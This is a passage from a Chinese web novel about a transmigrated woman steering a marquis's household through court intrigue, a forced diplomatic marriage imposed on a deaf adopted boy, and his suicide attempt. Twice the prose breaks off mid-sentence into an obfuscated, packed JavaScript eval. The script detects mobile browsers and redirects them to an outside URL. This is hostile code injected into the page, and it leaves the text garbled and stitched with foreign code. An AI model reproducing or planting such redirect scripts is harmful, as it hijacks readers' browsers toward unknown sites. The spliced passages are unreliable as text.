她着急地进到屋子里来,抓着姜汾的手,哭诉道:“我已经去找了父兄,可他们说这件事他们只能保证我儿不死,其他他们根本不敢出面,我该怎么办?” 以前侯府名声最臭,她在外被别人戳着脊梁骨骂的时候她不慌乱,她和石虎的奸情被发现的时候她也没着急,可现在,她是真的怕了。 姜汾把她扶到桌子旁坐下,告诉她:“不要慌张。” 她认真提醒着赵大战:“贤妃不是还在宫里面吗?” 贤妃是目前最大的支撑,她是圣上的枕边人,吹的枕边风是最容易让圣上这种年老之人动摇的。 姜汾明白,在贤妃知道事情的第一刻,她就应该开始着手为赵家谋一条生路了。 问题是,她在那密不透风的宫墙里,与外界的消息基本上是隔绝的,她们是否得到贤妃明确的支持,还得从后天黎铄上朝求情的时候圣上的态度来入手。 现在能做的都做了,只有一件事,姜汾告诉赵大战:“多花点银子,让那群读书人都在牢里过得轻松些。” “不要厚此薄彼,因为他们现在是同床,十年之后,他们都是要在朝堂之上针锋相对的,多点人脉才是为以后铺路。” 姜汾的话让赵大战如梦初醒,她立刻吩咐下人,准备充足的钱财去贿赂狱卒。 谁料,这时候姜汾又拦着她了:“不要表现得太过于急切,母亲,毕竟,此时此刻,外面所有人都在看我们的笑话。” “如果我们稳不住,那么他们在牢里就永无天日了。” 当务之急就是稳住,姜汾亲自送赵大战离开,然后缓缓落座书桌旁,又为闻行写了一封信。 当封好信纸的那一刻,本来是想要第二天再派人送信的,姜汾突然想到了什么,对系统说:“你帮我送。” 【凭什么?就算我是李坝坝,这也是不能被允许的事情啊,我不做。】 姜汾冷笑一声,然后默默地拿起一块木牌,拿起锉刀往上面刻字。 【你又在干嘛?】 姜汾:“刻字。” 系统顺着姜汾的视线慢慢看清了木牌上的字,然后两眼一黑,大声喊着:“我送!我即使送了人头我也会把信送到他手上的。” 只见木牌上赫然写着:李坝坝灵位,四月二十日祭拜。 22. 22 四月十四,礼部侍郎黎铄正式上书为发声的读书人们求情,这也是整个朝堂,第一个为那群读书人求情的朝廷命官。 听闻,圣上在听到黎铄的进言时,勃然大怒,训斥了黎铄一番,然后把人带到偏殿去了。 过了半个时辰,黎铄风采依旧,回到原本的队列里站得笔直。皇上也缓缓走了出来,向众人宣布赦免府学众人的罪过。 早朝散过之后,姜图图才从偏殿精神恍惚地走了出来,他发丝凌乱,衣服还是前几天被召进宫时的样子,却平白多了许多皱痕,看起来好几天未曾入眠。 他走到宫门外,回眸看着这宫院深墙,心中有着说不出来的复杂和憋闷。 等他转身,便看见自己多年的宿敌现在不远处,神情凝重。 姜图图本来就身体虚弱,看到宿敌,强装着镇定,一步又一步踏了过去。 可他四天未吃过一顿好饭,头晕目眩,整个人如何能走的动道,不过是强撑罢了,等走到一半,便脚步虚浮发软,重重朝地上摔了下去。 黎铄及时扶住了他,用力把他拽了起来,搀扶着一步一步往前走。 “你为什么要帮我?” 姜图图一双浊眼满是疑惑,在姜图图的注视下,黎铄笑了一下,回答:“你生了一个好女儿。” 听到他提及姜汾,姜图图有些惊讶,不敢相信姜汾竟然能把手伸到了朝堂,但他混迹官场多年,还是明白一些暗处的道理。 “筠婉给了你什么好处?” 黎铄只是笑了笑,然后避开他的话题,说:“圣上已经决定与匈奴议和。” 听到这话,姜图图胸口憋着一口气,质问道:“我女婿的恩师死在那里,数万万将士们尸骨未还,我们这几仗打得都不错,为什么要议和?” 黎铄拍了拍姜图图起伏剧烈的胸口,告诉他:“国安方可家正。” “圣上,他是想……” 姜图图明白了,圣上是答应了黎铄的变革之路。 要想在全国开展这场轰轰烈烈的变革,必须保证边疆安宁,因此,在匈奴节节败退的时候,展开议和便是边疆安宁的最好选择。 同时,姜图图也明白了为何黎铄会选择帮他们说话,他斜了黎铄一眼,没好气地问:“我女儿是不是答应此事之后,姜家和侯府会转换阵营支持你?” 黎铄真诚地夸赞姜图图:“不愧是你啊,竟然凭借三言两语就猜出来了。” “但是……”他话锋一转,话音带着些许嘲笑,用两个人才能听到的声音对姜图图说:“还没有完呢。” 他只是给姜图图留下了一个悬念,让姜图图自己回家探亲。 姜图图在黎铄派的人员护送下,很快便到了家,他来不及调整状态,跑到柳枝言床前,看到柳枝言一切都好便放下心来。 见柳枝言闭着眼睛养神,姜图图正准备离开,便听见身后柳枝言虚弱地喊了一声:“老爷,你回来了。” 姜图图立马走过去坐在床边,问柳枝言:“我不在的这些天过得还好吗?” 柳枝言点点头,随即沉默了一会儿,告诉姜图图:“老爷,黎家的昨日送通婚书来了。” “什……什么?” 黎铄言语中未尽的嘲笑算是让姜图图整明白了,他打开通婚书一看: 黎氏林字十三女黎梓请婚姜氏河字四子姜沭。 喜今日两姓联姻,一堂缔约, 良缘永结,匹配同称。 看此日桃花灼灼,宜室宜家。 卜他年瓜瓞绵绵,尔昌尔炽。 谨以白头之约,书向鸿笺, 好将红叶之盟,载明鸳谱。 此证! 黎氏林字辈乃是黎铄的孙子辈,十三女便是他的孙女,今年十五,要是两家联姻,到时候自己就要管黎铄叫一声长辈。 怪不得黎铄笑得如此老奸巨猾。 但这件事也不能怪任何人,是他的两个儿子先说了不适宜的话,这才在别人那里落了把柄,为了救他们所有人,姜汾已经尽全部的力量了。 更何况,她还不是自己真正的女儿。 她已经做到她力量范围内最好的了,就算搭上了姜沭的婚事,这也是没办法的事。 黎铄想要和姜家联姻,绝对不是简单地想要压姜图图的辈分,只是想要牢固地抓紧姜家,把他们作为背后的支架,这样,他的雄图伟业才会在他们的头上慢慢生长直至长成参天大树。 不管姜沭愿不愿意,这是目前而言,他们所能接受的最好的结果了。 …… 姜汾在听闻府学中参与这次事件的人尽数归家,便明白姜图图也成功地回来了。 她现在还要管着侯府的大小事宜,抽不出空闲时间去探望姜图图,只能这么一封书信,差人送到姜家,以示探望和慰问。 信纸刚刚在信封里封好,便听见外面一阵嘈杂的声音,姜汾冷静地把信封交给吉吉,然后走出门外,看看到底什么情况。 原来是闻演回来了,他的回来让侯府里紧张压抑的气氛瞬间缓解不少,姜汾扬起下颌,冲他微微一笑,算是欢迎。 赵大战知道闻演回来之后,喜出望外,抱住闻演,拉着他的衣裳,上下打量了好几遍,确认他没事后,痛哭流涕道: “我的儿啊,你受苦了啊,你以后无论做什么,只要不至于到前几日的地步,娘一定会支持你的,儿啊。” 闻演低着脑袋不说话,呆愣愣地,径直回到房间里面,躲了两三天才肯出来。 一出来,便沐浴更衣,收拾地精神一些了,才到姜汾面前低头认错。 当时,池年就在姜汾面前跟着侍奉,看到闻行来了,下意识地想要躲避,姜汾伸手拦住了她,然后对着闻演问:“你何错之有啊?” 没想到闻演竟然避开问题不谈,反过来问池年:“年年,你父母在牢狱之中时,你们有银子打点吗?” 多年以来,一直没人敢在自己面前提及自己父母所受的痛楚,池年似乎都忘了那段暗无天日的日子,有时自己还会拿出来自嘲一番,说自己也许是命不好,父母才会收到那些不该有的痛苦。 她强迫自己接受和忘记,因为这样才不会疼痛。 可今天,却有人不管不顾地揭开了这块伤疤,问的话一点也不加遮拦。 池年咬着牙回答,想要装作不在意,却还是染上了哭腔:“那时候家都没有了,谈什么塞银子啊?” 她低下头,眼神中不小心流露的恨意一扫而空,随即扮上最常见的微笑,来回应闻演。 这是仇人的子 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她也不知道为什么,会为了闻演还活着而感到一丝安稳,这是她以前几十年从来都没有过的感受。 她问系统:“昨夜里,你见着他,他过得怎样?” 【风神昆狼。】 姜汾:“……” 【sorry啦,是丰神俊朗啦。】 【李坝坝不开玩笑,李坝坝提醒你,宿主已完成了任务之一,成功净化闻演,让他的人格得到了很大的提升,成功由青铜进阶白银。】 【下面是奖励自选礼包,扣一得到美男出浴图,扣二得到闻行的一条秘密。】 尽管十分想要得到美男出浴图,但身处一个世界,就要遵守这个世界的规则。 倘若选择美男出浴图,被人发现之后会拥有一系列的麻烦,而且那种东西只是精神食粮,现实生活中根本触碰不到,还不如半夜偷看闻行的。 姜汾沉默了一会儿,还是选择了二号礼包。 【感谢宿主选择,闻行的秘密是他有一个八岁大的儿子住在城郊。】 听到这消息,五雷轰顶来形容姜汾此刻的心情也不为过。 她平复着自己胸口起伏的震惊,然后道:“告诉我地址,我去接回来,我不能做恶毒的后娘。” 系统简单叙述了一下,姜汾拿着笔记录了下来,然后派人去城郊找人去了。 八岁大,那时候闻行都还没有回到侯府,姜汾连看两本书都没缓过来,一次又一次地问自己:“不是,他年轻的时候玩得这么花?” 等人找来了,姜汾跑过去看了看,发现孩子长得挺虎头虎脑的,但性格很安静,平和又尊重他人,姜汾觉得他和闻行很像,便更加认定这就是闻行养在外面的亲生儿子。 晚上睡觉的时候,脑海里还是盘旋着那句八岁大的儿子,成功造就了多年躺床就睡的姜汾失眠到三更的历史。 半夜,姜汾起来点上蜡烛,认真的在宣纸上写下:闻氏揽岳之墓。 想了想,害怕被回来的闻行发现,她就着蜡烛的火光,又把这张纸烧了。 心理达到了很大的平衡,姜汾四仰八叉地躺在床上,翻了个白眼,成功入睡。 23. 过继 姜汾原本是不知道圣上颁布议和这件事的,她以为边疆还在打仗,以为闻行短时间内不会回来了。 经历了昨晚一夜的深思熟虑,姜汾平复了内心部分愤懑,整个人陷入了无法言喻的平静。 她只是一个穿越女,穿越到姜汾身上,抢占了姜汾的身体还不到一年,与闻行的相处也不算长久,她有什么资格去管闻行做过什么? 或许,连曾经的真正的姜汾都不知道这一切,自己又能站在哪个位置上去指摘闻行的所作所为? 她也不知道自己是怎么了,只是感觉有点替原主不值,更觉得自己昨天的生气莫名其妙。 这个孩子才八岁,他又没有什么错。 中午一起用饭的时候,赵大战看到这个半大的孩子,以为是姜汾的亲戚,多嘴问了一句,谁料姜汾一本正经地回答: “他是老爷的儿子,从今日起,记在我的名下。” 孩子一直没有说话,姜汾以为他是被突然带到了陌生环境,心理上产生了无可避免的隔阂,才不愿意说话,便耐着性子问他:“你叫什么名字。” 他还是低着脑袋,惶恐地看着周围的一切,张了张嘴巴,却没有声音。 “你不愿意说话吗?” 小孩子一直目不转睛地盯着姜汾,见她嘴唇上下翕动,自己也张开了嘴巴,却只是发出了一些让人听不明白的音节。 姜汾看着他开始尝试的模样,随即再次低下头,不说不闹,也不敢拿筷子吃饭,大着胆子猜想:这孩子应该是个哑巴。 她侧着脑袋让吉吉去请闫四海,然后站起身来,把筷子递给了小孩,拍拍他的肩膀,极力让自己的动作清晰明了。 “吃饭吧。” 昨天第一次见面,姜汾还以为他是安静,却没想到,他是根本说不出话。 这样的话,昨晚他踏入侯府的那一刻,是惊慌失措还是茫然无知呢? 一丝无法言喻的悔恨浮上心头,姜汾违背了饭时礼仪,上前抱了一下孩子。 等到用饭结束后,她把孩子带到房间,把纸和笔交给孩子,让他写下自己的名字。 孩子愣了一下,随即在纸上认认真真地写下:林恒暄。 姜汾注意到孩子不姓闻,心中闪过一丝疑惑,但转念一想,闻行都把孩子养在外面了,为了事情不败露,肯定不会让孩子跟着自己姓的。 想到此处,她更加心疼小孩了,重重地叹了一口气,心里念叨着:闻行,你不积德啊,这么好的孩子,你怎么舍得。 闫四海在午饭之后赶了过来,拉着林恒暄进屋里反反复复看了好久,最后也是无能为力。 “他这不是哑巴,他喉咙能发得出一些正常的音,如果非要说的话,我觉得更多是耳朵的问题。” 难怪和林恒暄说话时,他总是盯着别人的嘴唇在看,每一次都小心翼翼地再三确认别人是否是在跟自己说话,才敢慢慢地做出一些反应。 姜汾意识到不能让孩子一直这样耗下去。 没过几天,姜汾便把孩子送去了学堂,林恒暄懵懵懂懂地看着她,低着脑袋绕着地上转了一圈,糊糊涂涂地跟着小厮走了。 这是姜汾费了九牛二虎之力找到的能为林恒暄提供教学的学堂,她亲自去学堂待过,那里的夫子循循善诱,秉性温良,是目前教林恒暄的不二人选。 姜汾刚送走他,吉吉便冲了进来,对姜汾跪下说:“夫人,老爷回来了。” “什么?” 刚刚送走他的儿子,姜汾现在对闻行的感情很复杂,甚至多了一些烦闷,她无法想象闻行如今是真的回来了。 可是,为什么会那么快呢? 姜汾快速冷静下来,问吉吉:“已经到了京城吗?” 吉吉点点头,说道:“听说今早拜见了圣上,领了军功,根本没休息就回侯府了。” 听明白了吉吉的叙述,姜汾迅速做出反应,派一众人到侯府门口站成队列,迎接忠勇侯。 但是,姜汾自己却不为所动,坐在桌子旁,又一茬没一茬地喝着茶,并嘱咐吉吉:“老爷回来了,你们先闹两声,让我知道个信,我身子不适,先在这里坐一下。” 吉吉嘴上说着明白便出去了。 良久,屋外始终没有动静,姜汾正准备站起身来走出去看看,便听见玉蕤轩屋门来回摇晃的声音。 紧接着,大门突然“砰——”的一声关上了,姜汾有些慌张,想要去把窗户打开,却发现窗户也从外面被关死了。 知道自己的房间里肯定有人,姜汾咬着自己的下嘴唇,眼神中明暗忽闪,待到终于看到屏风后有一个黑影闪过,姜汾才大着胆子喊了一声:“闻行?” 黑影根本没有动静,姜汾想到自己在家给他收拾了好几个月的烂摊子,帮他养儿子,等他回来之后,还要把他当成如来佛祖一般敬仰起来。 瞬间,一股无法平复的郁闷压抑着姜汾,她拔下自己头上最锋利的金钗,想也不想地朝屏风后甩去。 屏风后的人紧急一避,姜汾趁机绕到屏风后面,还没有看清人影,便发现那人要逃跑,于是脚一用力,把屏风踹倒了。 一个玉树临风的人终于从暗处被拉到了面前,午日的刺眼阳光透过黄蒙蒙的窗纸,却显得十分柔和,衬得眼前这个人分外迷人。 姜汾盯着他笑逐颜开的双眸,嘴上扯出一抹嘲讽的微笑,然后说道:“你倒也是会四处留情的人,许久不见,我未见你,却见到了你的儿子。” 自从早上面见了圣上,闻行早早地换上了常服,此刻他衣着宽松大袍,因为如今时节还有些微寒,便在外面加了件披风,显得十分衬他的身姿。 闻行听了她的话,先是不解,然后瞬间懂得了她在说什么,旋即问她:“你把恒暄带到侯府了?” “对,我让他去了学堂。”姜汾对上闻行的目光,会心一笑,道: “你也真是的,把孩子养在外面,孩子不会说话,我派人过去找到他的时候,他一个人躲在角落里不肯出来,不知道受了多大的苦。” 谁料,闻行的注意力根本不在林恒暄上,他反复咀嚼姜汾话中的意味,然后问道:“你难道一点都不在意?” 或许好几天前,那时候刚找到林恒暄时,她是会介意的,但现在她都看开了,觉得自己只需要完成了任务,就会回到现代,而那时,她就会觉得这一切都是浮云了。 所以,她义正言辞地回答:“我是你的正妻,这是我应有的容人的肚量。” 原本,闻行见着姜汾一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025605|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直是笑着的,或者说,他的脸上很少不带笑,可现在,他脸上平凡多了许多的阴云,更多的是烦闷和不悦。 闻行很少把负面情绪挂在脸上,这让姜汾有些拿捏不住,偷偷地离他远了一点,然后说:“我做的这些不对吗?” “对。”闻行几乎是咬牙切齿了,他看着一脸无辜的姜汾,心中有气无处释放,道:“真是侯府名门的正妻才会做出来的事。” 说罢,他便打开了玉蕤轩的大门,头也不回地离开了。 姜汾看着他离去的背影,心中满是疑惑:自己都没赖他婚前有子,他又哪里来的脾气?真是胡乱一通,奇怪也。 不过,姜汾也没在意。她抽出信纸,向姜家写信报平安。 然后,为了躲开闻行这座瘟神,姜汾索性躲进了书房,待在里面念书练字,清静悠闲了一下午。 等到晚上,避无可避的姜汾才回到玉蕤轩。 彼时,玉蕤轩的蜡烛已经熄了,连平日里最鲜艳的花朵,此刻也藏匿在无声的黑暗中。 姜汾蹑手蹑脚地进了屋,没看到闻行躺在他往日睡的罗汉床上,便以为他没回来,轻手轻脚地便走到自己床边。 褪去身上繁重的服饰和精美的衣物,姜汾只觉得无事一身轻。 她来了个咸鱼翻身却黏在锅上的动作上床,一套行云流水的动作观赏性十足,她提前享受地闭上了双眼。 可令人咂舌的是,想象中床板的硬度却没有传来,反而是一阵柔软,本以为是棉被的功劳,姜汾一个没注意,滚进了一个赤热的胸膛。 姜汾意识到不对劲,抬起头一看,便发现本来绝对不会出现的闻行,此刻正顺势把她搂在怀里。 脸“唰”地一下就红了,姜汾挣扎着准备让闻行放手,结果闻行真的把她放开了。 闻行让她下床。 姜汾还没搞明白怎么回事,只能站在床边手足无措,随后,闻行让她也下了床,并让姜汾睡到里面去。 “我睡在外面才好照顾你。” 明白了他的意思,姜汾连拒绝都无法说出口,只能按部就班地睡到里面。 自己刚沾上床,闻行便贴了上来,靠近她的耳朵,声音低沉而失落地问:“你为什么不生气?” 姜汾知道他还在纠结白天的事,便附和着说:“其实,我私心还是有些生气的。” 听到了自己想要的回答,闻行即使身处黑暗之中,也无法藏住自己的偷笑,他认真地向姜汾解释:“那不是我的儿子,那是我大哥的儿子,侯府树敌太多,怕他被人迫害,才藏在外面的。” 姜汾有些疑惑,问:“你大哥的儿子,那为什么姓林?” 闻行帮她提了一下被角,然后才回答:“因为这个孩子是我大哥捡到的,捡到时,襁褓中他的父母就已经为他取好了这个名字。” “我大哥生性善良,也遵循他父母的想法,为这个孩子取名为林恒暄。他一直被我大哥安置在城郊,前两年大哥过世,他才正式记在我的名下。” 听明白了这一切,姜汾若有所思的点点头,没说话。 岂料,闻行见她没说话,以为她还在郁闷,便温声细语地说道: “筠婉,你我之间不要心存芥蒂,我们不要这样。” 24. 男妻 【我只说过会告诉你一个秘密,没说过这个秘密是完整的。毕竟,谁说话都会是片面的,我只是顺应了大众潮流。】 听着系统鬼话连篇的解释,姜汾翻了个白眼,然后没有再在意这件事,问道;“上次你说的侯府毒瘤,我已经净化了闻演,下一个是谁?” 【蔺阳,没听过这名字吧,自己去找吧。】 姜汾:“……” 侯府中但凡是个主子,在这几个月她执掌侯府的日子里,她尽数了解完了,只有一种可能,那就是下人。 她让吉吉将侯府下人花名册拿来,然后叫了几个信得过的人来,一本一本地照着名字对照。 可尽心尽力翻找了一下午,始终都没有找到蔺阳这个人。 她开始有所怀疑,是否这个人不是侯府中人? 晚上,等闻行回来时,姜汾试探性地问了一下:“你所认识的朋友中,有叫蔺阳的吗?” 闻行本来在脱衣服,听到姜汾的话,愣住了,手中的衣带渐宽,健硕的身材被衬得更加高大,清晰可见的肌肉线条让人垂涎欲滴。 不仅闻行愣住了,问话的姜汾也呆愣住了,看着他的身材想入非非。 还好闻行及时出声拉回了她飞扬的思绪。 “你为什么会突然知道蔺阳这个名字?” “我听坊间消息的时候听人提了一嘴。”姜汾把话圆得尽量圆满一点:“但消息说的不真切,导致我也不知道蔺阳到底是谁?” 闻行神色有些严肃,道:“他是芪朝去年派去匈奴的使臣,但是,他去没多久便投降了。” “蔺阳的家人全都被诛杀,匈奴这次能够在一开始重创我国边境,也是因为这个人提供的线索。他为匈奴提供了我国北部边境的大致边防图,导致我们到现在还在调整策略。” “虽然他已经被中原人唾弃和厌恶,可他这一次还是要来京城。”闻行特地停顿了一下,然后才继续说道:“因为,他要代表匈奴来京城选择一位合适的人,来完成和亲。” 这种人,是整个国家的敌人,但又怎么会刻意地针对到闻家? 或许,他会在面见圣上时,贬低和诋毁闻行? 或许,他会在京城中挑拨其他朝廷命官和闻行的关系,进而达到使闻行被孤立的结果? …… 姜汾无法具体了解到蔺阳的动向的,只能走一步看一步,希望蔺阳这个人出棋不要太过于狠毒。 翌日,闻行早早地便下了早朝,按照往日的习惯,他应该会去京畿驻扎着的守军巡视和操练。 可今天,他直接回到了侯府,一进门,即使是满脸笑容,也丝毫无法掩藏他眼底的愁容。 姜汾意识到,蔺阳这个她完全不认识的人,开始默默的发力了。 “今日是怎么了?” 闻行笑着说没事,然后拿起姜汾的字帖,准备把事情扯远。 “是和亲的人选定下来了吗?” 见闻行面上的表情明显发生了一丝变化,姜汾知道自己猜对了,便接着问:“是哪位公主啊?” 按照姜汾对上下五千年历史的了解,政治上的和亲大多数会选择牺牲一位公主。大多数人会认为,她享受了十几年的荣华富贵,就应该有为国家做出奉献的意识。 姜汾明白,一旦公主嫁过去后,日子一般都不好过,但这也是没办法的事,她们出生在皇家,一出生便是皇家博弈的棋子。 即使是备受宠爱的季姌,也是等盛烽立得军功后,才能向圣上请旨赐婚。 因为这个时候,圣上需要一个人,来牵制住军队中的中流支柱。他们能终成眷属,很大一部分原因是促成了圣上的利益。 “蔺阳没有选择公主。” 闻行沉默了一会儿,才迟疑地说道:“他为自己国家的大皇子呼延阑,选择了一个男人做妻子。” 男妻。 即使这在匈奴部落是合理的,在一直以男婚女嫁为主流的芪朝,这会是一大精神上的重创。 姜汾随机反应过来,问道:“他不会选择了闻家的孩子吧?” “没有。”闻行摸了摸她的脑袋,让她放心,安慰道:“他们昨日去各大书院挑人,恒暄只是在名单里。” 虚假的安慰带来了无法言喻的伤害,姜汾不可置信地盯着闻行问:“他们怎么会把恒暄列入名单?” 恒暄,他听不见,更说不出话,而且才八岁,哪个人选择和亲对象会选择这样的人? 这不像是为一国皇子选择妻子,更像是一种侮辱和警告,仿佛在刻意地打压呼延阑,将他烙在耻辱的铜墙铁壁上,让他根本无法呼吸。 为什么会发展成这个样子? 闻行拍了拍她的肩膀,又揉了揉脑袋,温柔地说:“不怕,有我在,他不会选择恒暄的。” 姜汾别无他法,只能静待事件发展,希望这件事不会朝最坏的方向前进。 然而,人无一辈子的顺遂之途,一个人越不想遭遇什么,往往会得到最坏的结果。 蔺阳在朝堂之上当众宣布:“胡人大皇子呼延阑,选择芪朝闻氏一族林恒暄为妻。” 闻行作为忠勇侯,又是皇上面前新晋的红人,站位极其靠前,当他听到这话时,脸色黑到后面所有人都能感受到威压。 但他保持着温润如玉,对蔺阳试着讲道理:“我这儿子,才八岁,太小了些,未免……” 蔺阳:“呼延大皇子也才十五。” 闻行:“我儿子耳聋,且口不能言,你选择他,是对大皇子的一种不负责任和侮辱。” 此刻,他已经顾不上保护林恒暄的自尊了,能把他留下来,才是目前最重要的事。 谁料蔺阳再次回答:“我胡人民风淳朴,不会在意这些。” 闻行终于挂不住笑脸了,他直接回以轻蔑一问:“说的好像你们是战胜国?” 这话倒是成功噎了蔺阳一下,但他很快就反应过来,向圣上禀报: “圣上,我国皇子呼延阑可以来到京城与林恒暄作伴,直至林恒暄达到年龄,再与大皇子回我胡人部落。” 闻行心中明白,对方只是要一个对圣上而言完全没有任何关系的人,而且条件中的让步意 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闻行伸出手和他握手,两人手相碰的那一刻,都在暗暗使劲。 但闻行久居沙场,力量是他的绝对强项,导致最后蔺阳的手开始慢慢发抖,变麻,然后整个人脸上的神色都严肃了几分。 最后,还是隔了很远的姜图图,看到了两个人之前不对劲的气氛,才跑过来抓住闻行的手,劝他道:“贤婿,不要冲动,事情总有回旋的余地。” 闻行这才慢慢放开了手,然后,轻蔑地看了蔺阳一眼,转身和姜图图离开了。 姜汾虽然一直在家,但外面的言语传得很快,早朝的笑话午时便流传在了大街小巷。 害怕林恒暄在学堂受欺负,姜汾自作主张把人从学堂接了回来。 林恒暄回来的时候整个人都在颤抖,看到姜汾关切地看着自己,他才终于忍不住“哇——”地一声哭了出来。 紧接着,他在纸上写:他们说我以后不能娶妻,只能嫁给他人作妇,是不是真的? 姜汾想安慰他,却无法掩盖事情的真相,始终无法摇头来否认这件事。 林恒暄看到姜汾为难的样子,才明白自己是真的完了。 他不哭不闹,甚至还在纸上继续写:母亲,我不在意的,你别怕。 姜汾不知道怎么面对这个孩子,圣上亲自指的娃娃亲,谁都不敢忤逆,作为受害者的他们一家,只能默默接受。 她试着缓解林恒暄害怕的心情,为林恒暄做了一大桌山珍海味,大多数都是他平日里喜欢吃的。 赵大战也听说了这件事,心里为这孩子觉得不值,但也不知道能做点什么,只能一个劲儿地往他的碗里夹菜。 林恒暄不哭不闹,只是默默地吃饭,没吃多少,便起身离开了饭桌,对姜汾表示:他要回房间看书了。 姜汾没多想,同意地点了点头。 可没过多久,外面的婢女突然开始尖叫地大喊:“不好了!少爷上吊了!” 25. 夜雨 事情发展得太过于猝不及防,姜汾连反应都来不及,赶忙让人把林恒暄救了下来。 她心有余悸,抱着已经失去意识的林恒暄,浑身忍不住地颤抖。 一条从来都没有想过的计策浮现在了她的脑中,姜汾抱起孩子,把他放到了床上,然后对下人偷偷吩咐一些事情。 闻行还没有回来,但姜汾能猜到,他今天心情也不佳,应当是在外面郁闷,不敢回家说。 她是不会把今天的事情告诉闻行的,徒添一些烦闷,却也无济于事。 赵大战嫁进侯府十几年,头一次见到有人上吊,震惊之余,她扯着姜汾的衣袖说:“这么下去根本不是办法,孩子被蔺阳挑中了,就肯定是要出面的,倒不如好好劝劝孩子。” 姜汾却摇了摇头,质问道:“如果今天被指到的人是闻演,你还会如此大度地劝劝他吗?” 被方了面子,赵大战虽然不会怪姜汾,但终究会介意一些的,客套两句便走了。 看到围在林恒暄周围的人慢慢地退去,姜汾眸中神色波动,胸腔缓慢地起伏。 眼下,哪怕是林恒暄死了,圣上也会把这抗旨不遵的名头怪到闻家头上。更何况,林恒暄又没有做错些什么,为什么要死? 但是,要想这桩无理取闹的婚事彻底结束,除却一方身故,就再也找不到任何更好的破局方式了。 可即使匈奴大皇子去世了,匈奴不考虑和平,就会再次攻打芪朝,考虑到和平,就会再拿一个人上来顶着。 所以,蔺阳这一次,是抛给了他们一个无解的局。 姜汾无能狂怒,真是眉毛上吊苦胆——苦在眼前,她又不是老和尚的木鱼,凭什么就要经历一波未平一波又起的波涛荡漾的生活? 她冷着脸,听到门外小厮禀报:“夫人,老爷回来了。” 小厮的话让她回过神来,姜汾急忙跑到门外,想要阻止闻行进来看到这不堪的场景。 她以为闻行至少会是愁容满面的,可他根本就没有任何不悦的情绪,见姜汾特地赶出来,他还略带着一些惊讶语气调侃道:“怎的今日舍得来门口接我了?” 姜汾搪塞道:“恒暄睡了,我们回玉蕤轩吧,别打扰孩子歇息。” 闻行若有所思地点了点头,同意姜汾的看法,却向她伸出了手。 “这是干嘛?”姜汾歪着脑袋不解地问。 “牵手。” 理直气壮的语气让姜汾哭笑不得,这个时代的夫妻除了床上接触之外,大多数是当着和尚和尼姑合租的清心寡欲的生活。 莫说是牵手了,平时不小心碰到了也会觉得羞耻。 姜汾把手放到了闻行的大手上,感受到他皮肤上的薄茧,然后放心握住。 闻行拉住她的手,与她一起回到房间。 今天晚上的闻行格外地温柔,轻声细语地和姜汾说着自己小时候的趣事。 “我还没有离开侯府的时候,大哥总是会带着我从东墙的狗洞钻出去放风筝,后来我想从狗洞钻回来,却被打了一顿。等回到侯府,我气不过,就把狗洞彻底封印了。” “我五岁那年,母亲给我买错了衣裳,裁缝为我量身定做了一件罗裙,我不想穿,可母亲非要我穿,穿上后还让画匠为我画了一幅画,作为纪念。” …… 姜汾躺在床的里侧,听着闻行走马观灯地回忆着小时候的一切,莫名地感伤起来,问道:“闻行,其实,恒暄对你来说很重要的是吧?” 一句话打断了闻行的叙述,他想了一会儿,回答了一个自己认为最好的答案。 “我大哥一共给我留下了两件遗物,一件是林恒暄,一件是从前的你。” 从前的姜汾,姜汾冷不丁地抬起头看向闻行,闻行顺着她视线的方向,回以一个暖心的的微笑。 一种难以言喻的关系平衡在他们身边,姜汾不敢确定他是否知道,而闻行却不敢赌姜汾的态度。 良久以后,姜汾才翻过身去背对着闻行。 闻行等了半天也没等来一句话,便也翻过身去不再说话。 然而,就在此时,一道少女低语的声音向他传来。 “闻行,下一次给我看看你穿罗裙的模样吧。” 闻行嘴角几乎不可察地笑了一下,然后略带无意地回了一声“嗯”。 …… 这件事过去了很久,侯府中人自觉地不再提起这件事。就连林恒暄,也早已未去过学堂,因为去了,闲言碎语就在所难免。 大家陷入了一个诡异的平静,所有人都不主动打破这个僵局,维持着表面的安宁祥和。 直到五月二十三,匈奴大皇子呼延阑大张旗鼓地进入京城。 京中不许人寻衅滋事,呼延阑便驾着马掀翻了一条街商户的摊子。 很多人赔得妈都不认识,却只能吃下这个哑巴亏,打碎牙往肚子里面咽。 侯府本来艰难维系着的一切,被这场声势浩大的入京给打破了。 …… 入夜,街上传来时不时打更的声音,夜的叫声伴随着清凉地风透过窗户传来。玉蕤轩中花再次盛放,随着沙沙的树叶声逐渐增大,本来严丝合缝的窗户被风吹开了。 本就是暮春时节,盛夏未至,一丝凉意便可让人感染风寒。 姜汾翻了个身,觉得冷风拂面,难以忍受,便摸黑起床关窗。 可就在她关上窗户的那一刹那,她突然意识到一个严峻的问题。 姜汾急忙点上蜡烛,拿起灯台走到床边,盯着床上看了一遍又一遍,然后默默把灯熄掉。 闻行不在这里。 明明入睡时,他就睡在自己旁边,还在自己睡意朦胧的时候为自己压了被角。 一个恐怖的想法诞生在她的脑海中,姜汾越想要抑制,这个想法就更加不可控制地生长,如同春笋一般,难以阻碍。 姜汾把灯台放好,随意套了一件衣裳,便打开门向玉蕤轩外跌跌撞撞地跑去。 侯府这个时候守大门的门房都在门口打着瞌睡,姜汾想也没想就往侯府后门跑去。 雨疏风骤。 刚刚风吹开了窗户,如今雨打湿了庭院。 打开后门的那一刻,姜汾往门外四处张望观察了一眼,然后深吸一口气,走出门外。 不过街角转口,一个徘徊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻行轻轻拍着她的背,安慰道:“好,我只做这一次,以后再也不沾了。” 可姜汾早已听不见任何的安慰,她沉浸在自己的世界里,想着有朝一日闻家倒台,姜家被牵连,她一个人在街上乞讨,无路可去。 